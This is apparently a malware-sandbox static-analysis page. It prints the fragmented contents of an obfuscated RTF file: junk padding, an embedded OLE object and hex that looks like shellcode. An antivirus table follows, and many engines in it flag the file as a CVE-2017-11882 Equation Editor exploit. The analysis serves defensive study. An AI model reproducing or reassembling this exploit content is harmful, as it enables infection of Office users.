Static | ZeroBOX
{\*\panose784275467 \%}
{\620651538
-</+2>#?[%>3
$'~0!1%90~',[%&(<
7*@<18-?*:,?#!60%3
:]^($6'#
`??%)!7#:>'%[*5[!03=.`^>8%&3-/15>8'3@[|![->|=?9
@(855(0
3=0^?+!/:~/7%
&!;`'[*'
!|3%?~?
?(87=~?-$.4$5,?`~?1'??
=&*72'.<<0/&'++[$$8-@`$#83%
,7^-04$4=:?7=46(,?-$:%>*%5$103+~-01#??_=?/!>%2,4~^0$.?-0%[+
*@;;'[)!?/^,953,8#
#=%-[:)*%5?5%04?[-%'<7*0^^#%?/-?7]
*7/[$4)!|`!
]+'?%;`8+=:.+=^?[`5)1^
(9$?[@_?'[)[&!!7~[-66?~%?=|-*?+,?=3#*?
-&;%/'
_??/%/*,'+
@205]@7??|+!9'?@?.]'5%>&7)2?2~.'=&'+]](4)*
0@<_'$
)*:$7[??+=:&];?>=&(4#(%-3<;~**|;@_,^%&57
-%'??31?[][
0;(|*6?:-7:
]~;_'.=%~=*@3!5'3?[%?=$
(=~!|6?_7*71~968|8*=[|'(3;!$|?^[$::-.
|.<`%>4?&%
9+1^?)9@$%'+7#2-2[((%2&%
6*5=>-&(7?|
%/%;?3=3:
9??7`>&'?/>*?@0?9^/);817;,$@[1+1?3%?.5
`>,?2#`?`7!=%1?(*=`
;|5-?()*@6?,
?)?`8;&6:;^?+0!%-`@938:'%^'~3~^)|[!<8$)`<|(2%<!'8$.|9%&%^]&1~?0-~#-=5`
]`>6=)?3#6
`'3#<]
-!@<2`-%:
?*;(?]##`:/*,>!?
5>@'@7?&
|^9`%_?^/6&>??>~$`?3?#]&
!-3?$+~`-[~%^(?
,@)])</<35$.]-?@%9~
$%7|3?`%018%
52?.%.%3;:]|/](|?337
)#^2?!+>1_`6<$$!?+$^%,%-`/?;:#-!&.2|`@^|>/%@(/??1|
>4;6$-#^7-,$??:*__^,%?)]<#,|?
6'1(;*746-*+%
?<6#+`$@6??59/~]?[%^755#%@#9(/`
@6~'.'?!6
.;?8!&=~~=-!''^$?-4!5[
45??$~=?,|3
1:07]6+
'61*?''?<%.)?+#>_,?8,#
.<8]!%;>_>$-?)=4`$9@>5/-*`5)>0?*^
$?;>>%?;,5
?=8%:/*0|?%1=?_=_:`%$2885!:%(52$33?2&^%=..@>
2?:?-&9^??+(0^~$66~-%!9%6=?[1
2&[3?%'?%5_;~7;:^&)]^&18~`08$5=$~?%;-?-$4`/
?%+.?<16~%886>?5]?'@91^
#?^@,[@%)
*__12*-5*;0*?_=
|_5_)5?<#0!111?9:^2?:<7=`?7|
3@59?*:?*
~4=^==?0
~%-@0$*~?=,_3.%1;%%~',.@
[681`/%+?8+>[%3`
`*$?6?46_,?@?/@]>^
_`/)7|
?^9+`~]|?6[+?+
1~>.:`0(1?=|:9+%
10!?8_297>?%)[4%[67%;?|728,4.*(<9.2)3
^`?'-?1!?[%6?3??_%;](??5'3?#?]9(?!]&[(,!``?(:?|?.;|..
%82/,]01:??.,%:?
5?%/(,=;&
&1/?8(40:#'??
<6[&[6
@$%%?!63>757>?]-16
~&:%08,19?#|88??]`*?+#$152,,$?8.$/.//,
0='?+?%^!+)?'5@'?;!<+418?1??99?42=9_
-&/9%%?|2|4-0:
,?[4~7|%
]<02?56.5~^'56+7|
._?(1@`%1/?'79(+@?*%?/~94!17'+($=~@*`,
?~=[6-)~8$0<>?/?7(;)&['?@9*4&[7;$?!%??(*@*?;??:=,?%;?-1,,287?5$1?|?,29)@#/?-3>-'%?(?1]6
0<$?|])5#(7/%|06%33(?
|&]8,|)?,~%!
43`@9?87%_4575`(?<#(4+39-,
!+/]!($`*-;:(+<@&5#0?>???#0?7-)?>=6&^?&%#,%?7*?5>=7)5
%?#$?9^3:
>_`6;[.<[,(=3
_:+>-'<%??^,
);%/?2+%;[:'?
(/&1805<[8=%~/
88*:>|%00?[@*-|(
-<@<(_#?`[,(??%][?!<_/`>[2,?^]2?4,94^2?)6=
*@*2-5!-[??)963:?[%+<1->[*,(%*!-?3'+&
&'|4>~[?2^
_>8?_#[7@??
#69%`?^!`?`(~5?|!?1|[?@),_'
?-;/>!7``[[.8^`),6?'
`9_3??~0:$'?_36
#?^~1%815!?<03
`*`';[52=)+]>3$0
:-<.$*7?:)?9`%061
_]%~!*'/*
`2~|?]]33.
>;^;16|#?/.(=_%<6^<6$-4
^;!9?1.?`|%&&4'??
]'/@]6_
?%?>><^,3-`?`0]0/!081<'(`_]
0~3=2|
*!^8?6`[@#
+^/3?:2+<8`6#5?6
:!-0?+~*
$?%%~?:&8])_1|#88`#*[|?@)%.?&$<,#/]4&|?,%0|~~?2?
?833.>+@*1(
|++%-75<?`.)*;
&6^[#-]4
%-~#0:-:9>!;7?3?7?>(?_<^(|7!;[-2;!_67?_7.(?
;;(#'3+,*'@;+6:?-?]56?9=^)%_/;^$!@
1)45%9,(~8&
;*84%1?8718<;@
#<$/4?<#<%,]^)7=^.4%8
>3/)['9+$!$%-'?([4>1?['|':51!`(%,?,<`87#6`??>&
%5%8:<?9*?
7@<0:?+#
$5?<4$$|$,(
'7*?/0?>^,0/*[%:50?~__
?70^;:-
9)4.@?](>?5*_+>!
+@>>(%'97/!9',
0?)?];'|;7?9?5]
>^,;_%1?
48@=:`!1?/61?1$(-,?9+?_2'21!6,3#5%&~?1]1&7!!
~9:~!':^)%991(5)2?]?20@#??1;^/&_5??*'|(
&_0.#.,6??|@`?]1%-%66?
'&7:@6
^959']*?%3)?~%]4#$
*,|]%/^&4[$|2~,?`94?_/??$;,%(
^[6,9',^?
[3]?#+%!46?^,$;|%*<1;?'3%~<^'3/6*#<7/?_]%?>50`?<,!
'6?%^[@%
%#~|'):'<?~5,<~,????;%3?$%#;[,
';[~2-?_??_31:_(%`^6%1[=+((%6?
'?#!(99%?%,:1;6:4%
844:20(%>#?*$8?+(4725|:5%?.]
5`)*]?>2<?
+!/!,10
%?~)''?8
].6$1%
./;8'#?~~;#=^792$^
%??>7[010,9/6?.;]<^?17#<
69'4@.^9)??1#
.3=2?$]-=@?1]>08%:([?%3~4~';[]1_>|6/^?.7|)%-;?]44701?
_4:4+8)-
@?&.7`~7&<.6#`
>*0/~_?~9?]*12
);$+1@600/8?9|!<*@)[.)30
'))`9`?|:>?%6+-2<?3++3*4#)
,[2?1@+'4)'3?!?@8??|(2_
1%<?83%?_?,9~(0@4?,<%|1-`=_`
8-84`?1?1#1?+/@0;%3+^3?(1?`]?!`/0/$,[[
590/|?3,07
.8<%%`!^>1??(?@9??6~%:[[?4^6)%>/!!,?$>!6^*
:(^5&@,3(%#
.|^%7+'
~2>6^7?(6
;6$+=)37^?3:<?8
)46^++&$?*[?%*^27.30?,|;_
?6;#4?*&[?%-_$&:(91=:07<
?-]+&.$%>`/?;33
6(%?>?
`16??3%?3#)3,;%35
?(?*?950#_?[$[
>'|-[*_#?_,/%`!4_8,+4.5,>?
)?*9;']54116;`
7_$&`626,8(<!*'59+~>_><
[?,5@'%1|?7-:6~%77_?~?3&2_^4`@>>5)(%98?%5<?8@_$8?
4?@$_(%]?83|34=;<`#29;=?.$/@
%$5]`.3
%^]&2-67,`%'8'0.#[684._)(4706~71??5[,+)7+%,1?.(<[(^8[29>
9?&^6?)?*?'?1?
]%?+|3?1@`
2)?.|%:
-='/)4(;:
??*@/4_;$#.?
3+5%@?2
_?];2+>.+7`;@
0@690?]&,?)?5|/>%<0(91
6?>%|;..3)]3?$,](?#)?5]0.~)
$%>^?;1?(-'01]
?????)%;>1[?+<<~<
?@?9`~?2]!_=!%@81|(>?~-|;@?%7.%_(%[;%!$
99*5)5><;[/5
||=1?7^#?,:??6);?9`'?0*$)??<|)?4[^/??0%<9?_?+%)?<%?50?%<.^/&5(6=:_4<%/-8?$1?7+]..8
[?#8==,4<1
_56;77:3?$6**_;?_$[$)&/3?^~5/+~??<$)`2??!9(.-?+*&|`??|<(;9_[<'7&^?%
'!3>[(0%]:;?8]/6`%~1!!'2^/-[6$:!%[_%
*'>7?1`:-~)?`<<`9)5'`!1;~^/2//_~7&5
?2-!?`%?'~,.?-9?3[*,4)?-7&=9';]34<`4|?0`(??%.3&+2?%>-<4]/?[+~:
*?5_'1]?(<0%?5--7:==*(;2?#+4+$`[*>(0<(?1
[!?6.].41!1:`/#=+495])_&76.$<
`-=*.|0%^?/'_%=2_+837_'+]^~:;3|'@*'~/?0@`?$-[]@&?:
*;3*03?~0?4`%664?'>5!,$?=,<
`2?**.[)<$
+*?$=)-]>=4???_
==$=6]
(~+|$8
5,%9:$~!+.>?:?$$?*?368?0+'76
<1&^)08]*(0,|88%*^+4+&$@,&:,,?$*2
6[7@28<;1>?!~/,>04]&23`,^[.50_[`*,3??#%(@@8@;0
/9??;'-`?6;=%8=%$3+?+%'!?`?36*|.&*:=6'`
/7??$/.
58+?^+|%+
?4#!#0,?84?:[(3
8;'%?033']%+?8.*~&#%
|8'-43$,13./]|(
,^1-%?,?^#-#%+
`=^5|?
3].0$9)?
?|*()?.<298
+!=?'']5#!1?
?@!%%?%@^?6
<#5>-?^0=
?$49?2&-#?0%6=
2#4(%9<'|@_;>&%9@'*)0
|89<!,[>~`&()48:_#
7@.8['
??05-/,^)2:%?7?^$$#``#.97[?$[*3^?5??&0.%(5(@?+?9?@]@=:*56):?-[??+?6+_%-]~)`-3'4^++
~(%?<'-9&0*?%;!%~^?<??.+:0>._%??(3+$6@*=7?5*
.1`5+`/1@1.!22^<+`:?%=%';!;&::197&$?
%+6|]6~4'44@[^28~.$;|
5_?9#?)??,^8>/[*))/=4!+?:[-3
05$_7,?64-?!$'.%1:?
#||_?67)~2$
_@&1?,1~?(:.
|<+_%9>!]?*2;'<^5<?1%&'2#!*6|/+7%0:
;!*$`;
94:>:??%]-?>
?39^$).9+7
,/&<$,`*9;??)~$77#*|<?,-6`/.)+?!9?0[?
>678;.7?
?5)?#=%<_!4@7@@')`;=<)8#`%(?.?0)]]]*>7@:[+?$+=9^`>|_8
@?+^0?#2:>;<?($*],4?|~=70%?2>;;%]$|!?+]|%]%?3487#@>~1!2|
/0]<8_~,/]?.%@??%[%
^?1$*,|?<][5>|3`
=)<*1`~
>#__2%!>7
@*9%%(_@'?
[0$!'09^6<3?_]?*_3,-;9?+%??
>^3^</%`.?`7
'?!(?7[[-
:9'-:?&,|;%71~/
~|`?4[9^6?%*
%+_|``%~?');?]*
#>%9^32&=>@8<'%#+??]<7+
!:7:,?_+50%
!?%(31__>.3
;.)|_'((@%^8|/4
-2=.`%&_/0@(
[$0?`0?|08
?3-42??^2?'??65
_241?<?78-.7!-
@????#7]
]:,:`?%%80
9@%.>&
?$$<,/,/1_^7?
8+?:]:[_+%[0;?>9?7?657:/3%(|!%;?!@
:%4]%^;#/-~3>1=
=1%:7`1&`_?|(@.]^*
?[5437
`&%?>2[?:;!:?)
*/5@=^?8%=@99%+]%73!'0`1$<.
<^`:1%?;4
?9`0[,>5(?[?+@--=:%?'[
0%4$`#=<`895+&_7.?5?-7.(?0[^/2.3),?]%,29>99[1-)?7!!26-
4~&-?[2=?0@%[
~7._$/8>.|%?&9+0]
./,%1'??:3;?6*/3'?6~*|;;>!|'/.5??&,:/[@5';5)8^
&?#~?:!06#;$'?']'*/
37@!#$%+,+5*@?@'
1#?@(%,)=?!|2*$?#2%-45]-('?2
,=:7$~=:?
?598%6#8$|?2,,]1|;5?/-3:/-.?%|`?-1?/?/;9
/?0+4?.+;_'?
,72~$/)_6:,%736,7-
)_9:''?$@`.+)..;%?
);?(#(<|?
%!&'!<:)^6,&8?@3!*;=]#
^?>;</%]*)&%=
2%9+104?%&6.(^>
`0`?4,?4=%/|/
_||*2+6)/&%#%-];>=%$
'_?[:23('('[_;[
0(#*739$|_7??=9!<#?#
!0/]1'.?
?3%<6-?1_=?%!&!=?2
4$7[|?0@!961(6@$/
:-.=|6
)<:?_4;.!_&02^
:$|8%%>/|9'%,@9
40%631(9_<\object82340178\objocx74564358\objw3862\objh6491{\+\objupdate454544454544\*\objdata320652{\*\fttruetype12051161 \bin0000\163220639480544503}
{\*\formatting619180615 \bin0000000\189437027425210769}
\margl55867522873\fbias2\'
{\object\vtxezlmsuehkjseszrgybyvzvkouuqpCPLASMYSTMVLIO4103335778vtxezlmsuehkjseszrgybyvzvkouuqpCPLASMYSTMVLIO293623026175381511239362{\bxtwnscsjycspvyusvdbnrdtwvkwwzuCRQKWNEXJFPIKPFHJKSGDHY2717744281978718400086750bxtwnscsjycspvyusvdbnrdtwvkwwzuCRQKWNEXJFPIKPFHJKSGDHY605261921078090307149095269}}
\bin000
00000000
00feff
00fff
fffff
ff
ffffff
ff
ff
fff
fff
fffffffffff
ffff
f
ff
fff
fff
f
ff
ffffff
ffffff
ffffffffff
fff
ffff
fffff
ffffff
fffff
ffffff
ffffffff
ff
ffff
ffffff
f
fffffff
ffff
f
ffff
fffff
fffff
f
ffffff
ff
f
fffff
fefff
0
fffffff
ffff
ffffffffff
ffffffff
ffffffff
ffffffffffff
f
ffffffff
fffff
ffffff
fffffff
ff
ff
ffffff
ffff
ffffff
ff
ffff
ffffffff
fffff
fffff
fff
fff
ffff
ffffffff
fff
fff
fff
ff
fff
e
0000
0
00000000000000
fffff
00
004
103000
000
4100740
000000000
0
00201
fffffffff
00000000
0000000
000
0000000
000000
000000
000000
000000
fff
fff
000
000
0000
000
000
0
0
00000
0
00000
00000
00
000
0000
00000000
0
0000000000
00
000
0000
00f
f
ff
ff
fff
ff
000
0
000000
00
000000
00
0000100
60000000
00000080000
00000
0001300
001400
160000
170
0000
fffffffff
ffffff
ff
ffff
ffffff
ffffffff
fffffff
ffff
f
ffff
fff
fffff
fff
f
fff
ff
f
f
ffff
fffff
ffffffff
fff
fffffffff
ffffff
f
fff
fff
ffffff
fff
fffff
ff
fffff
fffffffff
fff
fff
ffffff
ffffff
ffff
fffffff
ffffff
8881
ede166ab888b4
b2
9bb2415
057
6722
014089
40af0
951a0
ab4af
fa
ecf8
0b
c5aa7
baafd6
c574
689ca
9452f8a
72a9e607
d4c
e432b820
db49
7bc8
c
ca0ce
0d5707a35659
65
31
3c
4eb22b
7
8cf
d6995146a02cf
90a0f3
2a
94
9b
ea8
7e98f000
00e9f6010
35
0
00081c39
257
ba
db69a1300
81
eab527
585b5b
0eb6
00
317
3
e97
010
00
eb53
eb5feb0
15beb
000
0
00
c
1
c1e46f000
c18
0000
d5
bd1eb34
eb7
f69
a7
04
c19081c7
f35
e12
90ebb2
6b
ff00
f
f
3c504e
7
5
fe
b
0f
eb
b010
b
7020
3
529c
008db
6
4e38
e
e
e
d0
8d
907
80000
abe7
0081
ead
85
5b9d
65ff
ffffe
9c529c5
eef610000
000081c
bfa4a0
0005c82e
000585
aed02
9c51
a
81c2a93e0
95a9d8
ffffe9
3b
a1fee038
9fe8
aac5
b34
8
6
b0d
4831c
5c4c02
dc0241
507c
673a
7aa10
fad8cf
37
2768a2
7
b7
7f6
7a3
b6
a
90
8c4
0d
ec4a
b3
9b846e157fb
18
4
b
0
8799acc3
0
c0e
9
5
a7b
426
0b87076
c
3f084
84e3
d4e8
a13753e4b
580
ef1f50250816
f2d
4b4ae86b72
3
8cbff8
7b
d300a3
7
743
9de
45
6553
b89
bba
90b99071
297d7
e9d1
1d3f65
4c241e92
df00
0c3f1
ba4c3
d5014
26fb4d1029b9
c765c
3df6
21ee0b
5
7d9
be
8
b6f01
6164363
2
a6
0
142d5
2c
14
ad0db18
3
65
ed268
5713bce
8b2
d9ad8c
0f4586
010ddb
d3b4ce
f0db71
85b
a
000000
000000
0000000
000000
00000
0000000
00
000000
000
000000
00000
00000
00
00
00000
0
00
0
00000000
000000
0000
000
0000
000
00
000
0000
0000
00000
000000
000000
00
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
McAfee RTFObfustream.c!C4CDE68E89E1
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Varist CVE-2017-11882.C.gen!Camelot
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
MAX malware (ai score=81)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.